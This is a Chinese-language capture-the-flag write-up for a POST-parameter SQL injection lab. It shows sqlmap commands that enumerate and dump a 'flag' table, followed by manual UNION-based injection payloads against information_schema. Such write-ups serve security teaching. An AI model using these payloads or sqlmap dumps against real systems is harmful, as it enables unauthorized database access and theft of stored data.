使用sqlmap進行post型sql注入
輸入id可以得到查詢結果,但是url中並沒有參數提交,使用burp suite抓包。
可以看到請求類型為post,name作為查詢參數可以完全控制。
在抓包頁面右鍵選擇copy to file,保存到sqlmap文件夾下,類型為txt。
運行 python sqlmap.py -r postinject.txt
存在注入點
運行 python sqlmap.py -r postinject.txt -dbs
獲取數據庫信息
[10:14:09] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] twosecu1_vuln_06
>python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 --tables
Database: twosecu1_vuln_06
[2 tables]
+------------+
| flag |
| transcript |
+------------+
>python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 -T flag –columns
Database: twosecu1_vuln_06
Table: flag
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(255) |
| id | int(11) |
+--------+--------------+
> python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 -T flag –C id,flag --dump
Database: twosecu1_vuln_06
Table: flag
[2 entries]
+----+-------------+
| id | flag |
+----+-------------+
| 1 | two{Il0ve_5 |
| 2 | tUdy_Up} |
+----+-------------+
得到flag
嘗試進行手工注入
輸入1' and 1=1#
正常1' and 1=2#
無回顯內容
- 獲取顯示位
測試到1' order by 6#
時報錯,所以有5個顯示位

- 查看所有數據庫
1' union select 1,2,3,4,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

- 查找 twosecu1_vuln_06下的表
1' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema='twosecu1_vuln_06'#
flag,transcript
- 查看 flag表中的列名
1' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name='flag'#
id,flag
- 查看flag中字段
1' union select 1,2,3,4,flag from twosecu1_vuln_06.flag#
two{Il0ve_5
發現只有前半行,后半部分在下一行
1' union select 1,2,3,4,flag from twosecu1_vuln_06.flag where id=2#
tUdy_Up}
合並得到flag